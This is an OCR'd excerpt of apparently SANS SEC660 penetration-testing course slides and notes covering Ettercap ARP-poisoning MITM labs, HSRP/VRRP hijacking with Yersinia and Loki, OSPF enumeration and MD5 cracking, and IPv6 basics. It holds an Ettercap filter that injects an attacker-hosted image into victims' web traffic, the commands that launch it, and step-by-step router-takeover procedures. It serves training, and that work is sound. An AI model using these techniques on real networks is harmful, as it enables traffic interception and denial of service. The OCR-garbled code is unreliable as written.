Closing text interface...

ARP poiscner deactivated.
RE-ARPing the wvictims...
Unified sniffing was stopped.

Exercise - Ettercap MITM (6) -- Attacker Step
Next, quit Ettercap gracetully by pressing "q".
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Attacker Step

Exercise — Ettercap MITM (7)

e Create an Ettercap filter to replace
all image HTML references to point
to http://10.10.10.70/pwned.jpg

e Compile it with etterfilter

e Re-create MITM attack, adding
filter

Exercise - Ettercap MITM (7) -- Attacker Step

With some success in creating a MITM attack using Ettercap, we can move on to using it to modify
network traffic using Ettercap filters. Create an Ettercap filter to replace all images from the target
website with the file at http://10.10.10.70/pwned.jpg. Compile the filter with Ettercap and re-create
the MITM attack, adding the filter.
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Victim Step
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» Refresh browser to re- O RSL orone__p: =.2
view content '
— May need to hold Ctrl while
clicking Refresh to avoid re-
using locally cached content
* The image "Matilda" may
not be exploited initially;
attacker needs to modify
the filter to catch all |
images on the target site ..

Exercise - Ettercap MITM (8) -- Victim Step

Returning as the victim, refresh the content at the simple website you visited carlier. It may be
nccessary to hold down the Ctrl key when clicking Refresh to avoid using cached content (or simply
empty your cached browser content).

Initially, the picturc of Matilda the cat may not be exploited. The attacker must change the filter to
catch all images on the target website.
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Attacker Step

Exercise — Ettercap MITM (9)

e STOP - Answers for the Ettercap filter
image attack exercise follow

e Proceed only after you have exhausted
your options for completion on your
own

Exercise - Ettercap MITM (9)
Answers to the lab exercise follow; procced no further unless you have exhausted your options for
completing the exercisc on your own.
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Attacker Step

Exercise — Ettercap MITM (10)

# cat pwned.filter
if tip.prote == TCE &8 bop.dst == BO) |
if {search{DATH.data, "hocept-Encoding™)) |
replace ("Accept-Encoding®, "Accept-Rubbish!"™);
msg{"zapped Accept-Encoding!\n");

}

if (ip.proto == TCP && tep.dst == 80) {
if {seazCh(DRTA.data, "Ii-Modified-Since"))
replace {("Tf-Modified-Since", "If-BACified-Since");:
mag ("zapped If-Modified-Since\n');
l

Pl
&3

(ip. prote == TOF 8¢ top,.src — 80} {
replacs("img sro=", "“img sro=""htep://10.10.10.70/pwned. jpgh\™ "}
msg{"pwned image injectedi\n");

} .
4 etterfilter pwned.filter -o pwned.ef S
4 attercap -TgM arp:remote -F pwned.ef /xx.xx.xx.xx/ /10.10.10.70/ L

-
il Hacke
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. Image reference is "IMG src=...", need to modify filter to catch
this tag as well (filters are case-sensitive for matching)

Exercise - Ettercap MITM (10) -- Attacker Step

This slide shows the initial filter used to manipulate the images on the simple target website,
including the syntax for the etterfilter command and the ettercap command using the "pwned.cf"
compiled filter. Change the first target designation in the cttercap command (noted above with
"XX.xX.XX.Xx" to reflect your victim's IP address.

This filter is only partially successful however, Icaving the Matilda picture unchanged. Viewing the

source of the target web-page will reveal that this picturc uses the HTML img tag in uppercase "IMG
src=", which is not handled by the filtcr.
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Attacker Step

Exercise — Ettercap MITM (11)

# wget http://files.sec660.org/pwned. filter
# cat pwned.filter
if (ip.proto == TOP L& top.dst == RO} |
1f [search{DATA.data, "Bocept-Encoding™)) |
replace {"Accept-Encoding®, "Accept-Rubbish!™);
msg ("zapped Accept-Encoding!in™i;

i
i
if {ip.proto == TCP && top.dst == 80) |
if (search{DATA.data, "If-Modified-Since")}
replace {"Ii-Modified-Since", "It-PACitied-Since™);
msg (" zapped If-Modifiad-Sincein");

£ (ip.proto == TCP && top.sra == 80) {
replace{"img sroc=", "img sro=\"http://10.10.10. 70 /pwred. 3pgh" "i;
replace ("IMG sre=", "img src=\"http://10,10.10.70/pwned.jpgh" "i;
msg("pwned image injectedin"i;

Quit Ettercap at the end of this
exercise

Exercise - Ettercap MITM (11) -- Attacker Step
This slide demonstrates the entire filter that catches all images on the simple target website. You can
download this picture from the lab scrver using the wget command, as shown.
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HSRP

10.10.10.2
;L-L 10.10.10.254 .SEC. 5
ﬁ - _MVIRL S (C Internal Network
4 . ‘I - =l PR.}-
10.10.10.1
¢ Hot Standby Router Protocol
¢ Cisco mechanism for high-availability routers
e Primary router uses a virtual IP as the gateway
— Responds to ARP requests for 00:00:0c:07:ac: XX (XX is
the HSRP group ID)
e Regular multicast hello messages to 224.0.0.2

using UDP/1985

— Lower priority routers pick up for virtual IP and MAC if
the primary stops sending hello's
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HSRP

The Hot Standby Router Protocol (HSRP) is a Cisco-proprietary mechanism to ensure high-
availability across multiple routers. In an HSRP environment, a primary router and one or more
secondary routers route traffic for downstream devices. All HSRP participating routers are
configured with a common virtual IP address that is sct as the gateway for client devices.

Using a single virtual MAC address of 00:00:0c:07:ac: XX, where XX is the multicast group
identificr, the primary device takes on responsibility for responding to ARP requests and processing
network traffic while sending regular HSRP hello messages using the multicast group 224.0.0.2 with
a UDP payload on port 1985. If the secondary device fails to see a preconfigured number of the
hello messages, it believes the primary router has failed and takes on the primary device role. Client
devices do not know which router is handling their traffic, nor do they require any special
configuration to handle a failover cvent.

HSRP uses the concept of priorities to sct the order of priority for handling network traffic. The
priority field is 8-bits in length with the highest possible priority of 255. Priorities are set by the
network administrator to designate the role of each HSRP router (primary, secondary, tertiary, etc.)
when the network is setup.
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HSRP Authentication

e By default, HSRP uses plaintext password
authentication

— Default password "cisco"
e Multicast hello messages include credential

I S _-_-.W—H R e R A R e TR e e ] ﬂ'i-i——‘i—mw
File Edt Yeew Go Cepture Amslyze Statstics Help

No, . Time Source Destination Protocol Info

» . = 2 > 4 b
B 1.700489 10.10.10.1 224,0.0,2 HSRP Hello (state Active)
Cisto Hot Standby Router Protocol

version: 0

op Code: nwello (0)

State: standby (8)

Hellotime: Default (3)

Holdtime: pDefault (10)

priority: 100 -
Group: 1

HSRP Authentication

By default, HSRP uscs plaintext passwords for authentication, which are included in the HSRP hello
messages. The default password for HSRP configurations is "cisco", unless otherwise specified by
the network administrator, as shown on this slide.

Note that because the HSRP hello messages are sent to the multicast address 224.0.0.2, all nodes on
the network receive these frames. It is not necessary for an attacker to mount a MITM attack to
observe the presence of HSRP traffic and thc HSRP authentication data.

HSRP does include support for MD5-based authentication using a shared secret across all devices
using the following configuration syntax:

interface type number
standby [group-number] authentication mdb key-string key
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HSRP MITM

10.10.10.11
- Tgk ?K_W
et J‘T'—E Internal Network
=1 \__ Qe (7
*’ 10.10:10.10

1. Attacker sends HSRP hello
m 10.10.1 messages to 224.0.0.2 with
. o higher priority
e With the HSRP authentication key, | 2. Former primary and secondary

attacker can become MITM Foutess become seaondany and

@'_

tertiary
— Send out HSRP hello messages with | 3. Attacker changes his MAC
a higher priority address to 00:00:0c:07:ac:xx
" . with the default gateway IP
— Legitimate primary router 4. Attacker becomes MITM ingress
relinquishes MAC address in favor and egress, forwarding traffic to
of attacker upstream routers or the

downsteam client.
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HSRP MITM

If an attacker is able to observe the authentication string used for HSRP, he can mount a MITM
attack by cxploiting HSRP and becoming the new primary router on the network. After observing
HSRP hello messages from the primary device, the attacker can identify the authentication key and
the priority of the active router. By impersonating an HSRP router, the attacker can have all network
traffic redirected to himself:

1. Attacker scnds HSRP hello messages with a higher priority than the observed primary router.

2. After observing the attacker's HSRP hello messages, the former primary and secondary routers
are demoted to secondary and tertiary status, relinquishing responsibility for the network.

3. Next, the attacker changes his network card MAC address to 00:00:0c:07:ac: XX, replacing XX
with the HSRP group address obscrved in the hello message, and uses the IP address of the
default gatcway.

4. Using the IP address of the default gateway, the attacker becomes a central point for all traffic
on the network and MITM bcfore forwarding the traffic to be delivered to onc of the other
HSRP routers. Periodically, the attacker sends HSRP hello messages on the network to
maintain its position as the primary router.
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Yersinia HSRP Attack

- yersinia 0.7.1 by Slay & tomac ~ HSREP mode [17:49:441]
SIF DIP Auth vIp Iface Last seen
10.10.10.2 224.0.8.2 cisco 10.10.18.254 eth® 13 Sep 17:47:41
i0.10.10.1 224.0.0.2 cisco 16.10.10.254 eth0 13 Sep 17:47:41
i0.10.10.2 £24.0.0.2 192.168.1.1 eth® 13 Sep 17:47:41
i0.16.10.2 3 Sep 17:47:40
10.10.106.2 3 Sep 17:47:37
10.10.10.2 0 sending rawv HSRP packet 3 Sep 17:47:41%
10.10.16.2 1 becoming ACTIVE router 3 Sep 17:47:40
10.10.10.2 2 beconing ACTIVE router (MITHD 3 Sep 17:47:40
10.1¢.10.2 3 Sep 17:47:41
- Total Packets Spoofing [X1 —

-~ HSRP Fields i

Source MAC O

SiP 010.011.120.221 DIP 224.000.000.002 SPerl 01985 DPort 01985

Version 08 Opcode B8 State 00 Hello 03 Hold OA Priority FF

Group 00 Reseruved 80 futh cisco UIF €19.0610.010.0618

Yersinia HSRP Attack

Yersinia includes support for detecting the presence of HSRP traffic, revealing the source IP address
of the router participating in the HSRP group, the virtual [P address and the authentication
credentials in usc, as shown on this slide.

Press "g" to open the "Choose protocol mode" dialog box, then scroll and press "Enter" on the HSRP
protocol option to open the HSRP attack mode. Afier identifying HSRP traffic, sclect the target
virtual IP you wish to cxploit for a MITM attack, then press "x" to open the "Attack Panel" dialog, as
shown. Seclecting "1" will cause the attacker to become the active router, but will not forward traffic
received, causing a DoS attack against all LAN users. Seclecting "2" will implement the same attack,
but will forward traffic to the sclected HSRP member as well, creating a MITM attack.

134



VRRP

¢ Standards-based replacement for HSRP (RFC 3768, RFC
5798/1Pv6)

e Similar in operation to HSRP
~ Virtual MAC address 00:00:5e:00:01:XX
— Multicast group 224.0.0.18

» Not UDP-based; IP protocol 112

e 8-bit priority field; greatest priority is the network
master

e No authentication or integrity checks

Similar vulnerability to HSRP, not supported by Yersinia
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VRRP

In comparison to HSRP, the Virtual Router Redundancy Protocol (VRRP) is a standards-bascd
protocol described in RFC 3768 and augmented in RFC 5798 for IPv6 nctworks. The operation of
VRRP is similar to HSRP where two or more routers share responsibility for a virtual [P address
using the MAC address 00:00:5¢:00:01: XX where "XX" is the VRRP group. The multicast group
224.0.0.18 is used by the master to send keep-alive messages to other standby devices.

Unlike HSRP, VRRP does not use UDP as an IP payload, instcad using IP protocol 112. An 8-bit
priority field is uscd to identify the order in which the routers in the VRRP group take over
responsibility for the virtual 1P address.

Unlike HSRP, VRRP does not include any authentication or integrity checks. As such, all
configurations of VRRP are vulncrable when an attacker obscrves VRRP keep-alive traffic on the
LAN. However, Yersinia does not support a VRRP MITM attack. Fortunately, alternative attack
tools are available.
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Loki

e Python-based infrastructure attack tool
focusing on layer 3 protocols

e Mirrors Yersinia capabilities in some areas
— Exceeds Yersinia in protocol support

e GUI only, Linux, FreeBSD, Windows

- Difficult to install, several awkward dependency
requirements

— Limitations in Windows with raw packet TX
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Loki

Loki is a Python-based infrastructure attack tool focusing on cxploiting layer 3 protocols. Loki
reproduces some of the capabilities of Yersinia, but it also exceeds Yersinia's protocol support with
an attractive GUI interface for Linux and FreeBSD systems.

At the time of this writing, Loki supports onc or more attacks against the following protocols: ARP,
HSRP, RIP, BGP, OSPF, EIGRP, WLCCP, VRRP, BFD, LDP and MPLS. Installation is awkward
when building from source, though the authors provide precompiled packages that can be installed
with little difficulty for common Linux distributions. While a Windows version of Loki is available,
several of the attack functions do not work rcliably, likely duc to limited raw packet injection
capabilities associated with the Windows NDIS interface model.

You can download the Loki source or packages for several Linux distributions at
http://www.insinuator.nct/tag/loki/.
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Loki VRRP MITM Attack

TR 1. Start packet sniffing, select the
% 1 X 7 % interface in the dialog that opens
[ MBLS ROUTING HOT-STANDEY epihds after clicking on the start sniffing
SR . button,

2. Navigate to the HOT-STANDBY |

M....-...Q.....u....g@;!?. BN  vrrp tabs.

19200.0.20, 190,000, ... 250 caad. MR . 3 T0OA, 3. Select any device in the VRRP

192.168.0.10 192.166.0.1 192.1680.1 1 200 5&:;? group you wish to exploit.

4. Click "Get IP" to cause Loki to
advertise itself as a new VRRP
router for the selected group ID.
Loki will automatically advertise
itself with a greater priority than
the highest observed router

priority.
Gt
Do gratuitous ARP “

[7] VRRP: Thread started

wed Penerration Testing,

Loki VRRP MITM Attack
Loki implements the VRRP MITM attack similar to Yersinia's HSRP attack:

1. After launching "loki.py", start packet sniffing on the network by clicking the sniffer button.
Select the attached interface when prompted and click "OK".

2. Navigate to the VRRP attack menu by clicking the HOT-STANDBY | vrrp tabs. When Loki
identifies VRRP traffic it will list the source IP address of the router as well as the VRRP
group identifier and node priority.

3. Select a nodc in the VRRP group you wish to exploit by clicking on the entry.

4. Click "Get IP" to launch the VRRP attack. Loki will advertise itself as a new router with a
higher priority than any observed prioritics from other nodcs, taking over responsibility as the
primary router on the network.
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Routing Protocols

Routing
Belongs D )
o — —  Here _:U
m==w— Routing Never ———— ST

Belongs Here! \H

e Many organizations leak routing
traffic to end-user segments

e Routing updates are valuable for:
—Discovering internal networks
—Mapping internal infrastructure
—Wide-scale MITM opportunity

Routing Protocols

Many organizations do not cffectively filter routing protocol traffic, allowing routing messages to be
delivered to cnd-user scgments. As an attacker, anytime we are able to observe routing protocol
traffic, be it OSPF, RIP, RIPv2, EIGRP or other protocols, we have an opportunity to exploit the
network. Successful routing attacks will allow an attacker to discover internal network and map the
nctwork infrastructure from routing topology data, along with widc-scale MITM attack opportunities.
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OSPF Quick-Start

Routers send periodic multicast "hello" packets to
other routers

— Forming OSPF neighbor relationships

Adjacent neighbors share topology with Link State
Advertisements (LSA)

— LSA messages are flooded to upstream neighbors
Routers build topology databases for routing traffic
— Topology changes cause new LSA flooding

OSPF areas used to limit LSA advertisements within
a defined group

— Backbone area "0.0.0.0" or just "0"
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OSPF Quick-Start

For our example we'll look at the Open Shortest-Path First (OSPF) protocol. For those not familiar
with how OSPF operates, a quick-start bricf is in order.

OSPF is an Interior Gateway Protocol (IGP, as opposcd to an Exterior Gateway Protocol, such as
BGP). OSPF routers send periodic multicast packets on the network using the multicast address
224.0.0.5, advertising their availability to other routers and forming OSPF neighbor relationships.
Thesce adjacent routers share topology information with each other using Link State Advertisements
(LSAs). LSAs are then sent to upstream neighbor devices as well, allowing all the routers in an area
to share a copy of the routing topology.

When the network topology changes (such as when a network link goes down), the OSPF router
reporting the topology change shares the change information with its neighbor, causing LSA
flooding with updates received by all routers.

OSPF includes the concept of an OSPF arca where all the devices in the same arca share the routing
topology. In large networks where RAM and processing time on routers is limited, OSPF groups can
be divided into multiple OSPF arcas where routers only have knowledge of their participating arca's
routing table, as well as knowledge of the device that handlcs external arcas. OSPF always has at
Icast onc arca known as the backbone arca, designated "arca 0.0.0.0" or just "area 0".
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Routing Fail

AR, B * o T o rst o LW 305 1 7 o S0
fle Lon Miew Qo Coptre fralyre Jatitics Telephony Jook e
BHEAN CAXRTE LereTa Qaan D8 % ®

i No. Time Source Destinatson Protocol Info
I 1 0.000000 10.10.10.55 224.0.0.252 LLMNR  Standard query gNY jwright-x300
2 0.000511 10.10.10.55% 10.10.10. 255 KBNS Name query NB melwﬂ:‘.‘JEfOO-
3 0.058727 10.10.10.55 10.10.10. 25% NBNS Name guery NB 234004222 3<00>
I 4 0.089845 wusi_Sc:1b:0e groadcast ARP who has 10.10.10.55% Tell 0.0.0.0 g
| 5 0.113%52 10.10.10.55 10.10.11. 31 CLDAP  searchReguest (87) "<R0OT>" baseohject
| 6 0.114728 10.10.11.371 10.10.10.55 CLDaP searchResentry(§7) "<ROOT>" searchresDone(97) succe
| 7 9.228229 10.10,10.20 224,0.0.5 OSPF Hello Packet &
8 19.227813 10.10.10.20 224.0.0.5 ospF  Hello Packer s

i Frame 7: 90 bytes on wire (720 bits), 90 byres captured (720 bits)
+ Ethernet IX, Src: Cisco_92:85:FF (00:19:30:92:55:FF), Dst: IPvdmc

Workstation and routing '

open shortest path First

. OSPF Header trafﬁc on the nge LAN.

QSPF versionm: 2

Message Type: Hello Packet (1)

Packer Length: 44

source OSPF Router: 10.0.2.10 (10.0.2.10)

Area ID: 0.0.0.30
Packet Checksum: Oxf9e8 [inc No authenticatlcn Of
routing updates.

auth Data (none)
v 0sPF Hello Packet

5 ASPE 11L& nats Alack
0020 00 05 02 Ol 00 2¢ 0a 00 02
R 00 00 00 00 00 00 00

| 0040 10 01 00 00 00 28 0a 0a Oa
0050 00 03 00 01 00 O4 0O 00 00

@ Tedt item (tet), 2 bytes

Routing Fail

This slide includes a screen-shot of Wircshark representing a common configuration mistake in
internal networks. The first several frames of the packet capture show LAN-style traffic, NetBIOS
Name Server (NBNS) traffic sent from a host to the broadcast traffic (indicating that this is limited to
LAN, and not WAN traffic), connectionless LDAP (CLDAP) traffic, likely from a Windows device
and other clicnt-specific activity. On the same LAN we also sce traffic to the multicast group
224.0.0.5 which is OSPF traffic.

In this example, the network administrator has failed to properly filter out OSPF advertisements
seeking the presence of additional routers from end-uscr scgments. Instead of keeping routing traffic
limited to the router interfaces where upstream routers are present, the router allows LAN clients to
participate in the OSPF network.

Selecting an OSPF packet, we can see that the OSPF header reveals that no authentication is in usc

on the network. This configuration allows an attacker to become a router and participate in the
routing topology for the internal network, injecting routes as desired.
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OSPF Routing Enumeration

¢ Must participate as a neighbor

— May be required to bypass MD5 authentication
challenge/response

e Create neighbor relationship to Designated Router (DR)
and Backup DR (BDR)

— Maintains the routing table, central point of contact for other
routers

e Attacker steps through OSPF state tree with peer router
— ExStart, Exchange, Loading, Full
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OSPF Routing Enumeration

Our first attack against OSPF is to enumerate routing information for the internal network.
Knowledge of internal routing behavior is useful for an attacker, allowing us to identify internal
networks and addressing schemes for wide-scale network mapping.

Routing information is not sent in OSPF hello messages; instead, the attacker must participate as a
neighbor device to receive LSA's that reveal network topology information. In order to participate as
a router, we nced a tool that will send the necessary OSPF exchange information, as well as the
shared secret used for MD3 challenge/response in environments where OSPF authentication is not
NULL.

Once the attacker joins the network it will create a neighbor relationship ("adjacency” in OSPF
terms) with the Designated Router (DR) and the Backup Designated Router (BDR) devices. With
this relationship, the attacker will learn the routing table information, and have a place to advertisc
routcrs of his own.

As the attacker joins the OSPF routing area, it will step through the OSPF state tree with the peering
router:

* ExStart: In the ExStart phase, the routers are forming the OSPF adjacency, designating the
responsibilities of master and slave devices

* Exchange: In the Exchange phase, the routers exchange database descriptor (DBD) packets,
which include LSA information

¢ Loading: In the Loading phase, the OSPF routers exchange link state information; this is an
opportunity for the attacker to insert routing information into the OSPF arca

¢ Full: The Full state is achieved when the routers and the attacker are fully synchronized
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Loki OSPF Enumeration

Ofg - >+

MPLS | ROUTING  HOT-STANDEY | wiccp | tep-mdS arp | test

bgp np ospt P ®
(1] =] AREM .‘:.IA'lu’: {ALITH [CRACK |MASTER

TYPE_ROUTER_LIMNKS 192,168.100.10 192.188.100.20  1¥PE_THANSIT_MET

TYPE_RCUTER_LIMKS 172.16.0.1 255.255.255.255 TYPE_STUB_MET
TYRE_ROUTER_LINKS 172 16.0.2 9% 255 295 250 TYPE_STUB_NET ™ Hello
k192 168,100 10 172.16.1.1 0 FULL NONE “
1. Start the Loki sniffing process
2. Navigate to the ROUTING | ospf tab
3. Identify the authentication method in use after

observing OSPF traffic
4. Change the Loki OSPF authentication type to

Corchon S — | reflect the method in use
o 5. Change ID to "1" (O is reserved for no auth.)
Aulhem:;a;lm- = ® S 6. Send OSPF HELLO messages, start adjacency
e . 2" .| process with DR, BDR
@ . 7. When state is FULL, Loki has enumerated
'l routing table, expand triangle to see all the

[7] OSPF: Peer 162.168.100.10 in state FULL discovered networks
Vdvanced Penetration T esting, . e —

Loki OSPF Enumeration
We can usc the Loki tool to exploit the OSPF protocol, as shown:

L.

2.

Start traffic sniffing with Loki by clicking the Start Sniffer button. Sclect the appropriate
network interface when prompted and click OK.

When Loki observes OSPF hello messages, the ROUTING tab will blink. Clicking this tab
will reveal a blinking ospf tab, Click ROUTING | ospf to enter the OSPF attack component of
Loki.

. Note the authentication in use on the network. If authentication is NONE, we can attack the

OSPF process without first recovering a shared sceret. If authentication is CRYPT, we must
first recover the OSPF MDS5 sccret, which we'll examine next.

. Sct the authentication type drop-down to match the AUTH column observed in #3.

Change the authentication ID value to 1; this value reflects the index of the MDS5 secret which
will usually be one. If you are unable to connect with an authentication ID of | (and you arc
sure the key is correct), try other positive values (2, 3, 4, ctc.).

Click the "Hello" button, which will start the OSPF ncighbor adjacency process.

. The state column will change to reflect cach of the OSPF states; when the state reads "FULL",

a drop-down arrow will appear next to the IP address of the device, allowing you to identify all
the learned devices from the LSA exchange.
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Loki OSPF MD5 Attack

e OSPF MD5 auth. vulnerable to an offline dictionary attack

e Select ROUTING | ospf | Cracking, select wordlist, click
"Crack PW"

e Loki can participate as a neighbor when configured with
compromised secret

B e > o4
MPLS  ROUTING  HOT-STANDEY ' wicop [tep-md®  arp (test
bgp np ospl eigrp

e [ &} AREA |ETATE [AUTH |CRACK MAGTER
1§2.168.210.1 172.16.3.1 © HELLO CRYPT SeCrEl g
1921682103 L7Z16.3.2 O HELLD CHYPT GeCrEr L
btabin
r #{ P
Connaction Cracking  injection Network [Metmask |hpe
Use bruteforce || Usa full charsat i
wiordiist wordhst txt [ =1

(4] OSPF: Found password 'SeCrEt for host 192,168 .210.2

Loki OSPF MD5 Attack
If Loki observes an OSPF hello message where MDS authentication is used we can mount an offline

dictionary attack against the shared sccret. After sclecting the router to attack, select the Cracking
tab and specify a dictionary wordlist. To start the attack, click "Crack PW".

When Loki successfully recovers the shared secret, the CRACK column will be populated with the
password. We can then continue to create a connection into the network by clicking the Connection

tab and changing the Authentication Type to AUTH CRYPT, specifying the shared secret in the
Key ficld.
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Router Virtual Machine

¢ Alternatives to Loki:
- Bring your own Cisco router on the pen test
~ Use a Cisco I0S Virtual Machine

e Dynamips uses I10S firmware to boot virtual Cisco
router (7200, 2600, 3600 and more)
- You'll need an 10S software license

e Dynagen is a front-end to Dynamips to simplify
startup, configuration

# dynagen router.cfg

=» list
Name Type State Server Console
RL 2621XM running localhost: 7200 2000

=> console RI1

Connected to Dynamips VM "R1"™ {(ID 0, type ¢2600) - Console port
sectbl-rtr-1>-show ver

Cisco IDS Software, C2600 Scftware (C2600-ADVSECURITYE9-M), Version
12.3{11)7T, RELEASE SOFIWARE (fc2)

\dvanced Penetration Testing, Exploit Writing, and Frhical Hacking

Router Virtual Machine

While Loki can be a useful tool for manipulating internal routing tables, it cannot replace all the
functionality of a Cisco router. On a penetration test, you could bring a Cisco router to the
organization and usc it to attack the internal network infrastructure, or you could use a Cisco 108
Virtual Machine (VM) instead.

Dynamips is a Cisco 10S VM that uses a Cisco IOS firmware image file to boot onc or more virtual
Cisco routers. Dynamips supports multiple router platforms including Cisco 1700, 2600, 3600,
3700, and 7200 devices. Further, Dynamips can virtually connect multiple routers running on the
same host to physical network interfaces, or virtual interfaces. The virtual interface feature is uscful
for creating lab environments for learning how to configure Cisco routers, but the ability to connect a
virtual router to a physical interface allows us to use Dynamips as a virtual router to attack internal
network infrastructure.

Dynamips is complex to configurc and manage. A simple front-end to Dynamips is Dynagen.
Dynagen is a Python script that handles the configuration and startup of virtual routers, as shown on
this page.

In order to use Dynagen and Dynamips, you will need a Cisco [0S image file. Cisco requires that
you have a license to support the usc of the Cisco 10S image file as well. Configuring Dynagen and
Dynamips is somewhat complex, but a uscful step-by-step tutorial is available for Windows and
Linux users at http://www.gns3.net/dynagen/.

144



IPv6 for Penetration Testers

SANS SEC660
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IPv6 for Penetration Testers
Next we'll look at various techniques to evaluate and attack 1Pv6 networks.
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IPv6 Penetration Testing

e IPv6 adds new complexity to penetration
testing
— Also opens up new opportunities for an attack
e Many organizations would say they have

not yet adopted IPv6 ...

— ... incorrectly. IPv6 is widely deployed
internally, with little monitoring or control

e We'll look at building essential IPv6
knowledge and attack techniques
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IPv6 Penetration Testing

The IPv6 protocol adds new complexity for penctration testing, and for the management and
monitoring of enterprise devices. At the same time, IPv6 creates new opportunities for attack as
well, exploiting new flaws in IPv6 deployments, or to simply bypass IPv4 defense systems.

Many organizations would indicate that they have not yet adopted IPv6 internally for their
organization. This is a misnomer, since many organizations have already adopted IPv6 unknowingly
as a dcfault component of modern operating systems, both in traditional computing devices and
mobile device platforms. This lack of understanding for the usc of IPv6 in organizations has also
lead to a lack of [Pv6 monitoring systems capable of identifying attacks against IPv6 devices.

In this module we'll look at building some essential IPv6 knowledge in the format and operation of

IPv6 nctworks, and how we can target and exploit deficiencies in IPv6 deployments, whether
intentional or unintentional.
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e Version: "6" Ver. |Traﬁ"|c Class.l Flow Label

e Flow Label: Used with

¢ Payload Length:
s Next Header: Formerly Destination Address

¢ Hop Limit: Same

IPv6 Header

Traffic Class: QoS and

prioritization Payload Length | Next Header | Hop Limit

traffic class for QoS
priorities Source Address

Length in bytes
including extensions
headers

"Protocol", identifies
the payload protocol
(can be more IPv6)

function as TTL, -~ Flow Label is the_ on!y new field; ot.her
removing any notion of . fields are larger in size or have logical
"time” | name changes.
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[Pv6 Header
First we'll look at the format and design of the IPv6 header. The layout of the IPv6 header as follows:

Version: The 4-bit version ficld remains the same as in the previous IPv4 protocol, using a
"6" instcad of the previous "4",

Traftic Classification: The traffic classification field is 8 bits, used to identify the priority of
the traffic. This ficld is similar to the [Pv4 Type of Service (ToS) field.

Flow Label: The flow label field is new for IPv6 at 20 bits, used for specifying router
handling options for the packet.

Payload Length: The 16-bit payload length field discloses the length of the IPv6 header,
including the length of extensions (added ficlds) associated with the header.

Next Header: The next header field is 8 bits and replaces the IPv4 "protocol” field,
identifying the next encapsulated protocol. The next header type values arc compatible
with the values used in the IPv4 protocol field.

Hop Limit: The hop limit field is 8 bits and replaced the Time To Live (TTL) field in [Pv4.
The hop limit ficld is decremented by one for cach router that forwards the packet.

Source Address: The source address field is 16 bytes or 128 bits.

Destination Address: The destination address ficld is 16 bytes of 128 bits.

Of these ficlds, only the flow label ficld is new. All other fields have an analogous component in IPv4.
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IPv6 Addressing Notes

e Goodbye dotted-decimal, hello hexadecimal

representation
- 16-bit fields (4 characters known as a hexquad)
separated by colons

e Leading 0's are optional
e Successive 0's can be shortened with ::, but
only once in an address

fe80:0:0:0ccac:0:8ac: 7405

<:: fe80:0000:0000:0000:ccac:0000:08ac:7405

feBD::ccac:0:8ac: 1405

IPv6 Addressing Notes

The most obvious difference between [Pv4 and IPv6 is the length of the address fields, and the end
of dotted-decimal address representation. In IPv6, we use hexadecimal notation in 16-bit groups
(known as hexquads) separated by colons.

Since writing out full [Pv6 addresses can be tedious, we can usc shortcuts to reduce the length of the
address. First, all leading 0's in an IPv6 address can be climinated, though a trailing or ending 0 must
be retained in many cases. Sccond, if there are groups of successive 0's, we can shorten them by
omitting them with a two-colon notation ("::"). However, this can only be done once per IPv6
address.
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IPv6 Addressing

e Three types of IPv6 addresses:
— Unicast: can be global, site local or link local
— Anycast: one to nearest
— Multicast: one to many

e No more broadcast addresses (replaced with

multicast)

Address Prefixes EUI 64 Automatic Interface Addressing
FE80::/10 link local |00 [ 13 | ce |55 98] ef |
FCO00::/7 unique local address L : s
FF0O0::/8 multicast [00(13]&[‘&’]&‘:“55[98[&%‘]
FF02::1/64 all nodes multicast ‘ T :
2000::/16 stateless autoconfig 02 l 13 | ce I FF 1 FE ‘ 55 I 98 | EfJ
2001::/16 giobal allocation 2001:0db8::0213:ceff:fe55:98ef |
2001:db8::/32 documentation use o e st ——
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IPv6 Addressing
In [Pv6 there arc three types of addresscs:

*  Unicast addresscs arc between two hosts on an IPv6 network and can represent globally
unique addresscs, addresses that arc local to a given site or organization, or addresses that are
local to a given LAN scgment (link local).

°  Anycast addresses arc used to transmit packets to the nearest IPv6 target by class (such as a
message meant only for IPv6 routers).

e Multicast addresses are used to send packets from one host to many targets.

Broadcast addresses are no longer used in IPv6, replaced with multicast addresses. If an IPv6 host
wants to send traffic to all the hosts on the LAN where they would have formerly uscd a broadcast
IPv4 address and FF:FF:FF:FF:FF:FF MAC address, the host uses the FF02::1 [Pv6 address with a
destination MAC address of 33:33:00:00:00:01.

Common IP6 addresses include:

e FE80::/10 - link local (analogous to 1Pv4 169.254.0.0/16 address space defined in RFC
5735 and RFC 3927)

e FCO00::/7 - unique local address (analogous to IPv4 192.168.0.0/16, 10.0.0.0/8 and
172.16.0.0/12 address space defined in RFC 1918)

*  FF00::/8 - multicast IPv6 traffic

°  FF02::1/64 - all nodes multicast address, replacing 1Pv4 broadcast address
255.255.255.255
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e 2000::/16 - uscd for statcless autoconfiguration of [Pv6 addresses using the EUI 64
expansion method, leveraging the client MAC address.

e 2001::/16 - Internet-wide global allocation of IPv6 address spacc to regional registries
(analogous to former IPv4 unique organizational address space allocations including
4.0.0.0/8, 64.24.0.0/16, ctc.)

e 2001:db8::/32 - used for documentation purposcs

With IPv6, MAC addresses are also extended to 64 bits for automatic IPv6 interface addressing using
the IEEE standard EUI 64 technique. First, the 48-bit MAC address is split into two 3-byte chunks.
A constant 2-byte ficld of "FF:FE" is added in the middic. Next, the low-order 2™ bit of the first
byte of the MAC address is sct to 1 if the MAC address is universally unique (which will be the case
for common MAC addresses on Ethernet and wireless cards). This 64-bit value is used to represent
the lower 64-bits of the IPv6 address with the appropriate prefix information, as shown.

A great cheat sheet reference for IPv6 addressing is available at
http://www.roesen.org/files/ipvo_cheat _sheet.pdf.
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Linux IPv6 Interface
Configuration

Load the Linux IPv6 kernel module
¢ modprobe ipvé

| Add an IPv6 address to ethO with a 64-bit mask N
#+ ifconfig eth0 inet6é add £c00:660:0:1::2/64

Display configured IPv6 addresses

t ifconfig eth0 | grep ineté6
inet6 addr: fc00:660:0:1::2/64 Scope:Global
inet6 addr: £fe80::20c:29ff:feef:6db’7/64 Scope:Link

| Remove an assigned IPv6 address
# ifconfig eth0 inet6 del £c00:660:0:1::2/64

\dvanced Penerration Testing, Lxploit Writdne, and Fthical Hacking

Linux IPv6 Interface Configuration

Linux distributions have included robust IPv6 support for many ycars. Commonly, the driver
support for IPv6 is compiled as a kernel module that can be loaded with the modprobe command as
shown on this page.

To add an IPv6 address to an interface, we use the ifconfig command with the "inet6 add" directive,
followed by the desired address and netmask, as shown. Upon configuring an IPv6 address on
Linux, the kernel will send an ICMPv6 Neighbor Solicitation (NS) message as part of the
